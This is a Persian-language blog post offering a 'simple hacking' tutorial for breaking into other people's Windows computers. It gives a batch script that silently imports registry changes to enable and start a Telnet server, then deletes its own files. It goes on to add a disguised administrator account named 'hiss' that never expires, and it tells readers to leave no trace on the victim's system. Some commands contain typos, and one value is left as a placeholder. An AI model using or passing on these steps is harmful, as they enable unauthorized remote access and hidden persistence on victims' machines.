مکان تبلیغ شما
نويسندگان
موضوعات وب
آرشیو مطالب
هک ساده و اسان
نفوذ به سیستم دیگران بخش اول:
برای این کار اول باید یک سری مقدمات را آماده کنیم:
1- امکان لاگین (login) را در سیستم مورد نظر خود باید فعال کنیم
برای اینکار باید در ریجستری سیستم مورد نظر تغییرات ایجاد کنیم. به این صورت که باید مقدار NTLM را در مسیر زیر از دو به یک تغییر دهیم.
مسیر ریجستری :
HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TELNETSERVER\1.0
2- بر روی سرور فایلی هست به نام TlntSvr.exe که باید فعال شود
-حمله از طریق شبکه اینترنت با استفاده از باگ ها
در این نفوذ با استفاده از حفره های موجود در ویندوز ابتدا به شل دسترسی پیدا کرده و تنظیمات ریجستری و راه اندازی سرویس تلنت بطور غیر مستقیم به وسیله ی یک فایل ریجستری temp.reg انجام میدهیم.
برای اینکار میتونیم از فرمان Echo و هدایت خروجی به آن استفاده کنیم. برای راه اندازی تلنت هم میتونیم از دستور Net start استفاده کنیم
@echo REGEDIT>temp.reg
echo.>>temp.reg
echo [HKEY_LOCAL_MACHIN\SYSTEM\CurrentControlSet\services\Tlntsvr]>>temp.reg
echo.>>temp.reg
echo"start"=dword:00000002>>temp.reg
echo"type"=dword:00000010>>temp.reg
echo
"filureactions"=hex: بدست آوردن کدهای هگزا رو در قسمت بعدی آموزش میدم>>temp.reg
echo.>>temp.reg
echo[HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\TELNETSERVER\1.0]>>temp.reg
echo>>temp.reg
echo"NTLM"=dword:00000001>>temp.reg
echo"telnetPort"dword:0000ffff>>temp.reg
regedit/s temp.reg
net start tlntsvr
del temp.reg
del install.cmd
عبارت زیر
regedit/s temp.reg
تنظیمات مورد نظر را بدون نشان دادن پنجره اخطار اعمال میکند و
net start tlntsvr
سرویس تلنت را راه اندازی میکند
حالا میتونیم به هدف مورد نظر خود تلنت کنیم
اما برای مخفی کردن خود در سیستم قربانی مورد نظر باید یه کاربر در سطح admin اضافه کنیم که به صورت زیر عمل میکنیم
net user Hiss 32/add
net localgroup administrators hiss/add
net localgroup administrateurs hiss/add
net user hiss/comment:"builit-in account For Microsoft hiss Server2000
net user hiss/expires:never
net user hiss/fullname:"hiss"
با این دستور ما یک کاربر با نام hiss و پسوورد 32 با سطح اختیارات مدیر شبکه ایجاد کردیم.
توجه در این قسمت هیچوقت نشانی از خود نگذارید و اسم خود را وارد نکنید
و اما کد های هگزا
این کدها رو به وسیله ی اسنیف کردن به دست میاریم که هم میشه به وسیله ی زیر شاخه های تلنت این کار رو انجام داد و هم به وسیله برنامه های اسنیفر. که من فعلا برنامه های اسنیفر رو پیشنهاد میکنم، تا زمانی که بطور کامل با تلنت آشنا میشین.
درباره وب
به وبلاگ من خوش آمدید. در این وبلاگ با واقیعت دین اسلام اشنا میشوید.نظر یادتون نره.
آخرین مطالب